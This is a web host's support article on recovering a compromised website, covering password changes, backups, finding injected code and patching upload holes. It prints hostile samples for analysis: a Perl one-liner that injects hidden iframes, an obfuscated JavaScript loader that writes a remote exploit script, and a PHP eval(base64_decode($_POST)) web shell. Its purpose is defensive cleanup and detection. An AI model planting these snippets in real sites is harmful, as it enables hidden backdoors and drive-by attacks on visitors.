Recover from a site hack or compromise

  • Applies to: All Service Types
    • Difficulty: Hard
    • Time Needed: 60
    • Tools Required: SSH, SFTP


This article will help you recover from a site hack or compromise.


CloudTech Can Help!

Additional assistance is available via CloudTech, our premium support service:

  • The CloudTech Security Pack is a service for those needing consistent monitoring to help prevent and protect your site from compromise.
  • The one-time malware cleanup service can assist you in cleaning and delisting an already-infected website.



This article is provided as a courtesy. Installing, configuring, and troubleshooting third-party applications is outside the scope of support provided by (mt) Media Temple. Please take a moment to review the Statement of Support.

Don't lose the evidence!

If your site has been compromised, your initial priority is to restore your site to its original state. Just be mindful not to remove all evidence that can be used to track down the source of the compromise.

Step One: Secure all computers accessing your accounts

Most site compromises result from the harvesting of valid login credentials (FTP/SFTP, or website CMS logins) from the workstation used to update the afflicted site. There are many vectors an attacker can use to gather these logins and passwords from your workstation. These include: viruses, trojans, malware, spyware, email exploits, and worms. In order for your site to stay secure you MUST maintain a secure workstation.

Tips for maintaining a secure workstation:

  • Keep your operating system patches up to date (Windows Update, Software Update for Mac OS X).
  • Keep your web browser of choice up to date.
  • Use a virus scanner, perform regular scans, and keep the virus definitions up to date.
  • Use a malware/spyware scanner in conjunction with your virus scanner.
  • DO NOT install browser plugins from untrusted parties.
  • DO NOT install software downloaded from the Internet from untrusted parties.
  • Use SFTP instead of FTP to perform site updates.
  • Do not respond to or click on links in emails that request changes to login credentials, for any party.

If your workstation is not secured, even if the site compromise is resolved, it is likely the malicious party will harvest your new passwords and compromise your site again.

Step Two: Change all passwords

Assume all passwords have been compromised (AccountCenter administrator/technical contacts, GMail, Yahoo Mail, FTP, WordPress admin, etc). If any of your scripts contained passwords for databases or other applications, assume those have been compromised as well. Use strong passwords when choosing a new password.

  • Do not use dictionary words.
  • Use at least one number.
  • Use at least one non-alphanumeric character.
  • Use mixed case.
  • The password should be at least 7 characters long
  • Do not use 1337 sp34k .

Bad Examples: passw0rd, username1, sunshine, guessme, monkeys123

Good Examples: p#sS8oR=, m3161Tx, The[s]HOWMUstGoOn

Best Examples: Os1W|{C+m2p)4?<, c5tSv88wqX, 3Do7b481585d28Fa4rkf, h37313(>63:1F1hb7Aov

If you haven't made this a habit already, start changing your password regularly. A constantly changing password is much harder to brute force. You might also consider using helpful password generation and retrieval tools such as Password Safe, LastPass, or 1Password.

Key Change

This information is also available at

If you are running a WordPress site, and have been recently compromised, you will want to change your keys.

Beginning with Version 2.6, three (3) security keys, AUTH_KEY, SECURE_AUTH_KEY, and LOGGED_IN_KEY, were added to insure better encryption of information stored in the user's cookies. Beginning with Version 2.7 a fourth key, NONCE_KEY, was added to this group.

You don't have to remember the keys, just make them long and complicated or better yet, use the the online generator. You can change these at any point in time to invalidate all existing cookies. This means that all users will have to log in again.

define('AUTH_KEY', ':dr+%/5V4sAUG-gg%aS*v;&xGhd%{YKC^Z7KKGh j>k[.Nf$y7iGKdJ3c*[Kr5Bg'); - define('SECURE_AUTH_KEY', 'TufWOuA _.t>#+hA?^|3RfGTm>@*+S=8\"\'+\"}]<m#+}V)p:QijXLq,<h\\`39m_('); - define('LOGGED_IN_KEY', 'S~AACm4h1;T^\"qW3_8Zv!Ji=y|)~5i63JI |Al[(<YS<2V^$T])=8Xh2a:b:}U_E'); - define('NONCE_KEY', 'k1+EOc-&w?hG8j84>6L9v\"6C89NH?ui{*3\\(t09mumL/fFP_!K$JCEkLuy ={x{0');

A secret key is a hashing salt which makes your site harder to hack and access harder to crack by adding random elements to the password.

In simple terms, a secret key is a password with elements that make it harder to generate enough options to break through your security barriers. A password like "password" or "test" is simple and easily broken. A random, unpredictable password such as 88a7da62429ba6ad3cb3c76a09641fc takes years to come up with the right combination.

Step Three: Back up the compromised data

Before you modify any of the compromised data, you should create a backup. By preserving as much information as possible, you can evaluate the code at a later time. For more information, please see: Backup Options.


You can access your content via SFTP and download the compromised data. However, while this would preserve the compromised data, it may not preserve the file permissions. You will need to contact Customer Support to correct the file ownership issues.


You can use SSH with the Linux tar utility, the archive flag, and the compress flag, to back up your content like this:

tar -czpvf sitename-compromise-`date "+%Y%m%d"`.tgz /path/to/my/site/*

Cleaning up

Once the current state is backed up, you have two options:

  • Remove everything and restore from the last known good copy of the site.
  • Leave the site as is and try to simply clean the malicious code.

Either way, save the back up so you can use it for investigation. Imagine that your site is a crime scene. If you disturb the crime scene with even the smallest change, you may lose a crucial piece of evidence that could have been used to identify the criminal.

Step Four: Identify what has been compromised

There are many ways to identify a compromise. The easiest to detect is blatant defacement of the site, such as a message that reads U R H4x0ReD! that has replaced all content of the index page. Unfortunately, this type of compromise has fallen out of favor. Recently compromised sites try to remain undetected so that the resources can be used as long as possible. Backdoors are dropped in and hidden links are inserted to generate website traffic, improve Google search rankings, and even profit via AdSense. Sometimes the first indication of such a compromise is a Google Safe Browsing warning that the site contains malicious content (malware) or spam. Sometimes the site gets added to spam blockers such as SpamHaus because a mass e-mail spam campaign is utilizing your website resources or contains a link to your website in the spam messages. In the latter case, pages are generally added in the document root that contain spam or redirect to spam sites that sell Viagra or similar products.

Example injected code

Search the source code for injected--and often hidden--links or scripts or iframes (inline frames). Use a program that can show the differences between the original content and the current content, such as diff(1) on Linux. Each finding should be documented, and you should try to make a simple definition of the change. For example, if the following code was found in your index.html page:

<body><iframe src="" width=135 height=131 style="visibility: hidden"></iframe><center>

In this example, the hacker inserted a hidden iframe immediately following the HTML body tag. This is easy to automate with a script because the script can search for the opening body tag, and simply insert code after it. Here is a single line of code that could do this using Perl:

perl -i -pe 's/<body>(.*)$/<body><iframe src=http:\/\/\/index.php width=135 height=131 style=visibility: hidden><\/iframe>$1/' 

Locating compromised files

The above example is very straightforward and very easy to identify and rectify. Identify it by recursively iterating all site content while searching for three key words: body, iframe, hidden. Since we want all three key words in the same line, you could use something like the Linux grep(1) utility as follows:

grep ri body * | grep i iframe | grep i hidden > hidden-iframes.txt

Where malicious code is usually inserted

These simple HTML code injections, iframe hijacks in this case, get inserted in one of three places:

  • The very top of the web page.
  • The very bottom of the page.
  • Right after the HTML body tag.

Since it's easy to automate a script to insert at these points, you may want to slightly modify your search criteria as to catch all three common scenarios. Once you have your list of likely compromised files, you can use this as input for a routine to repair the files.

Dealing with obfuscated code

In the previous example, there is one key factor involved: the iframe was injected using plain HTML. This is common, but quickly becoming less common because the plain HTML code can easily be removed with a search and replace. Remember, the attackers that are compromising sites these days want to remain undetected. If they can obfuscate the hack so that its not clear what the code does without evaluation, then they significantly increase the chance that you might not even notice it while scouring over the source code.

Assume a scenario where Google Safe Browsing warns that the site contains links to, that are known for hosting spyware or malware. Instinctively, you search over your source code looking for, but find nothing. Odd. You browse your site and view the source code. Sure enough, there it is in plain HTML, an iframe to So, why wasn't it in the source code? There could be several explanations. Here are a couple:

  • The content could be injected using a client side scripting language, such as javascript, that sources the script externally, not inline.
  • The content could be generated server-side using ASP or PHP, and the URL is encoded using base64 in the source code.
  • The content could be hiding within a database affiliated with your account (check for additional users like JohnnyA, JohnnyB, or amin added to your WordPress users table, or suspicious content stored in other tables).

Let's take one example for both server- and client-side scripting languages.

Client-side with JavaScript

Using JavaScript, one could obfuscate the iframe hijack code in many ways to prevent a simple text search from finding it. The two most common methods that we've come across are using the unescape() method to replace characters with their hexadecimal value equivalent, and using concatenated variables to construct full text strings. Here is a real-world example to show how both methods of obfuscation are commonly being used:

<script language=javascript><!--

(function(){var hiT='%';var Awi5N='var:20a:3d:22:53cr:69ptE:6e:67ine:22:2cb:3d:22Ve:72sion()+:22:2c:6a:3d:22:22:2c:75:3dnavi:67ator:2eu:73erAg:65nt:3bif:28(u:2eind:65:78Of:28:22C:68ro:6de:22:29:3c0):26:26:28u:2eindex:4ff(:22Wi:6e:22):3e0):26:26:28u:2eind:65xOf:28:22:4eT:206:22):3c0):26:26(docu:6d:65nt:2ec:6fo:6bie:2e:69:6e:64:65xOf(:22m:69ek:3d1:22):3c0:29:26:26(ty:70:65o:66(:7arvz:74s:29:21:3d:74ypeof:28:22A:22))):7bzr:76:7ats:3d:22A:22:3beva:6c(:22if(window:2e:22+a:2b:22:29j:3dj+:22+a+:22Major:22+b+a+:22:4di:6eor:22+b+a+:22:42:75i:6c:64:22:2bb+:22j:3b:22:29:3bd:6fcu:6dent:2ewr:69:74e:28:22:3cscri:70t:20s:72c:3d:2f:2fmart:22:2b:22:75z:2e:63n:2fvid:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2fscrip:74:3e:22:29:3b:7d';var VAIP=Awi5N.replace(/:/g,hiT);var rMQQz=unescape(VAIP);eval(rMQQz)})();


That looks pretty much like garbage, right? Well, that alone should raise a big red danger flag. Who codes legitimately like this? Answer: People trying to hide information. Let's quickly dissect this script.

var hiT = %;

This will be used later in a search and replace function. The unescape() function treats % as the delimiter token before a hexadecimal value. People wise to the unescape hack might start searching for %NN. The search for %NN would return no results since this is a string of :NN. Just one more level of obfuscation to help keep the hack undetected.

var Awi5N = var:20a:3d:22:53cr:69 ... :3b:7d;

Now, it's worth mentioning how both variable names mean absolutely nothing. The reason for using these random variable names is to add obfuscation. This variable stores a string of mixed hexadecimal ASCII values and plain text. This variable is the important stuff; the malicious content that when evaluated later will insert the iframe:

var VAIP=Awin5N.replace(/:/g,hiT);

The new variable will contain the same string assigned to Awin5N, except now colon is replaced with the proper delimiter for unescape(), the percent sign. Below is the resulting string stored in VAIP:


Here is another new variable with a random name:

var rMQQz=unescape(VAIP);

This variable will be used to hold the results of translating all the %NN values into their ASCII character equivalent. Below is the resulting un-encoded string stored in rMQQz:

'var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("


Finally, we have reached the portion of code that has been setting off alarms with Google Safe Browsing. This line inserts HTML into the web page that includes a script from a remote URL that is specifically crafted to exploit a particular version of the browser.

So, there we have it. The three key items that should flag this as malicious code are:

  1. The use of unescape().
  2. The use of eval().
  3. The large block of obfuscated code.

When all three of these items exist, it's almost guaranteed that the code is malicious. Search for this combination of coding elements. You might even start searching for all JavaScript. If your site contains a lot of JavaScript, then add unescape or eval to the search. Visually inspect all the results that the search returns. Keep your eyes peeled for blocks of obfuscated code. If the code is malicious, then automate a search and replace all of the code using an inline edit one-liner, such as the examples presented previously. Perl, sed and Ruby all have one-liner execution options, to name a few tools that could be used.

Server-side with PHP

The same principles apply server-side that applied to client-side scripting languages. When trying to identify malicious content, remember that obfuscated code is probably malicious. In the following example I have included 2 more layers of obfuscation to the previous example of obfuscated JavaScript code. The JavaScript code is now being compressed using '''gzdeflate''' and then the resulting output is encoded using base64, which is the common MIME type used to encode binary data for programs that expect only ASCII character data. Below is what the compressed and base64-encoded data would look like:

Again, notice the eval() function being used. Malicious JavaScript and PHP commonly use eval() to execute the code. Searching for eval, base64, and unescape are all good key words that might turn up some malicious obfuscated code. In this particular example, to decode the data all you need to do is replace the eval() with echo(). The obfuscated code is being encoded, not encrypted. Encoded data is easily recovered and does not require a key. All of the encoding algorithms discussed thus far have an encoding and complimentary decoding algorithm with a similar name. Below are the results from simply replacing eval with echo:

This should look familiar. It is the obfuscated JavaScript that we decoded previously. As you can see, using a combination of server-side and client-side scripting languages as well as a healthy dose of encoding, it is very easy to hide the source of malicious content. However, by obfuscating the content, the attacker creates a few easily identifiable clues. Now that we know some of those clues, (eval, unescape, base64_encode, gzinflate, etc), we can better track down and identify the source of the malicious content.

Step Five: Find the vulnerability

Up until this point, all we have been doing is identifying the results of the vulnerability. The next step is to plug the hole so that it does not continue to be exploited. Again, the possibilities are too numerous for us to cover them all, so instead we'll mention a few of the most common that I have found, and give a real-world example.


The first thing we did was to change all passwords. If the attacker knows the passwords, there is no stopping him from doing anything. The password could have been compromised many ways.

One possibility is that the password was weak and easily guessed or brute forced. Setting the password to something as trivial as password is just inviting trouble. Choose a strong password.

The password could also have been sniffed off the network. If you use unencrypted protocols such as vanilla FTP, then the password is sent in the clear. Anyone capable of eavesdropping on the network traffic could extract the password.

Password-protected URLs using Apache's mod_auth_basic (.htpasswd) offers no encryption. This, too, could be easily picked up using a network sniffer or the password could brute forced. Oftentimes, administrative pages are protected using this type of access control. So, it's important to know the weaknesses that are inherit to it.

Review every resource protected by password authentication. This includes databases and make sure that the passwords are transmitted and stored encrypted.

Third-party applications

If you are using a third-party application such as one of the popular Content Management Systems (WordPress, Joomla, Drupal, Movable Type, TypePad, Wordsmith, DotNetNuke, PHP Nuke, etc.), then be sure to keep the application up to date on patches/updates. Since so many sites use these applications, attackers know that if they can find a vulnerability in one of these, then there are thousands of sites that they can find to exploit and compromise.

WordPress is currently the most popular CMS. Professional websites that get millions of hits a day use it. According to their site, hundreds of thousands of sites use it; imagine how that appeals to attackers. Hackers make extraordinary efforts to discover vulnerabilities in WordPress because of the large footprint of users they could compromise using that single vulnerability.

Do not assume that if it's a third-party application it is secure. If your site has been compromised, and you use a third-party app, check for and apply any available updates immediately, and consider consulting the vendor's forums to determine if other users have been affected, and whether a new patch will be made available soon.

Weak input validation

Any part of your site that allows user input should be validated. This is the most common software vulnerability. The repercussions of not validating vary and none are good.

A common side effect is buffer overflows. Buffer overflows can cause the application to crash, return unexpected results, or in the worst case give the attacker control of the instruction pointer. It is not only text input that needs to be validated; content type must be validated as well.

Now, we will use a real-world scenario as an example:

There was an instance where multiple web sites were flagged by Google Safe Browsing for containing malware or spam. After investigation, it was discovered that nearly every HTML page had malicious links embedded that directed users to a site that attempted to exploit the browser.

A single user modified all of the compromised content. This was a big clue in helping narrow down the source of the vulnerability. While searching for all content owned by this user for binaries or scripts, one particular file stood out among the others. Tthis was done by multiple searches for key words like

<?php or #!/
or file extensions, or file types using the Linux file utility. There was a file with the extension of .php in the images directory.

The related website allowed users or site members to upload their own image for their avatars when posting in the forums. The PHP script contained this very trivial, yet equally effective one-liner:

if(isset($_POST['e'])) eval(base64_decode($_POST['e']));

This elegant one liner allows arbitrary execution of PHP code passed to the script via the POST HTTP header variable of e. Again, we find eval and base64_decode are being used. Since the images path is going to be used to display the avatars, the URL is public which makes this exploit available to anyone who knows the name of the PHP script or any member that can upload their own avatar.

The script should have validated the content type before allowing it to be uploaded. Below is a snippet of PHP code that could be used to validate the content and ensure that the image size is reasonable for avatars. This could be used to patch the hole:

if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg") || ($_FILES["file"]["type"] == "image/x-png")) && ($_FILES["file"]["size"] < 20000))

Input validation exploits are by far the most common method to exploit a site. The more common vulnerabilities related to lack of input validation are Cross Site Scripting (XSS), SQL Injection (SQLi), and Cross Site Request Forgeries (CSRF). These vulnerabilities have existed since the 90s and continue to get exploited due to poor coding practices. provides good information on secure coding practices.

Error Pages

This is simple. Do not allow debug info to be presented outside of a testing environment. Some languages' default behavior is dump verbose errors, including the 10 lines of code around the line that caused the exception, as well as the full path to the script. If an attacker can cause your page to have an exception, then they can learn the inner workings of the script and inside information about where things are on your site. Disable this feature.

Error pages should simply state that an error has occurred. Make custom error pages to ensure the customer only sees what you expect them to see. Do not allow the attacker to easily reverse engineer your scripts by divulging the debug information.

Shared Hosting

Last, but certainly not least, are the extra precautions to take when using shared hosting, such as the (mt) Media Temple Grid environments. The environment is shared, so you must rely heavily on file level ACLs to restrict access. Under no circumstance should any data be world- or everyone-writable, and in most all cases, world/everyone does not even need read access to the files.

Some situations require that directories be readable/listable and executable by everyone/world. Use the policy of least privileged. Only give the bare minimal access to the file required for the site to work. If you are uncertain of what those permissions are, contact Customer Support and we can assist you. If you had files or directories that are everyone/world writable, then those are prime targets for the attacker. Change them immediately to more secure permissions.

Temp data is likely being stored in the default location, which is usually the same place for all users. Again, take special precautions in these situations to protect sensitive data.

Step Six: Clean Up

Now that you have identified the compromised content, and plugged the vulnerability, you can proceed with restoring the original content.

See the previous examples of how to use in-place edit one-liners to automate searching and replacing bad content.

Step Seven: Preventative/Counter Measures

Here is where we will discuss some tips to help improve security and awareness.

Monitor File Changes

You can create a cron job that monitors the integrity of your content for changes. Message Digest 5 (MD5) is a hashing algorithm that takes all of the bits of a file, throws them in a blender with some crazy hashing algorithm, and generates a relatively unique value. This value is called the checksum of the content. If the file content changes even by one bit -- a to b -- the checksum should be different. It is not difficult to make a script that will check all the content of your site (or specific files if you have lots of content) and notify you if the checksum has changed.

Schedule the script to run daily or whatever interval is reasonable for your situation. If a checksum has changed, verify that it is a change you have approved. If it is not a change you expected, investigate immediately to ensure your content has not been compromised. Be aware that your script can also become compromised, so it's a good idea to keep it out of the website's document root.

Request Malware Review

This step is required if you want to quickly remove your site from Google's blacklist. Once you submit the request, it'll take just a few hours to complete the review and remove the warning if your site is clean. Without the request, it may take several week before your site's status is cleared.

The request does two important things:

  1. It tells Google that the owner of the site is aware of the problem and has already taken action to remove malicious content. This shifts the odds in your favor when they make decisions after ambiguous results of scans.
  2. It puts the site on a priority list (it should be scanned within 24 hours).

To be able to request the review, you should add your site to Google Webmaster Tools and verify ownership of the site. Make sure to add the www and non-www versions of the site (you'll need to request the review at the level where your site is blocked).

Once the site ownership is verified, open the site in Webmaster Tools. In the Dashboard, you'll see a prominent message in a red frame that says "This site may be distributing malware". Click on the link that says "More Details" to expand it. At the bottom of the message click on the "Request a review" link.

Alternatively, you may find the "Request a review" link on the "Malware" page of the "Diagnostics" section.

Additional Resources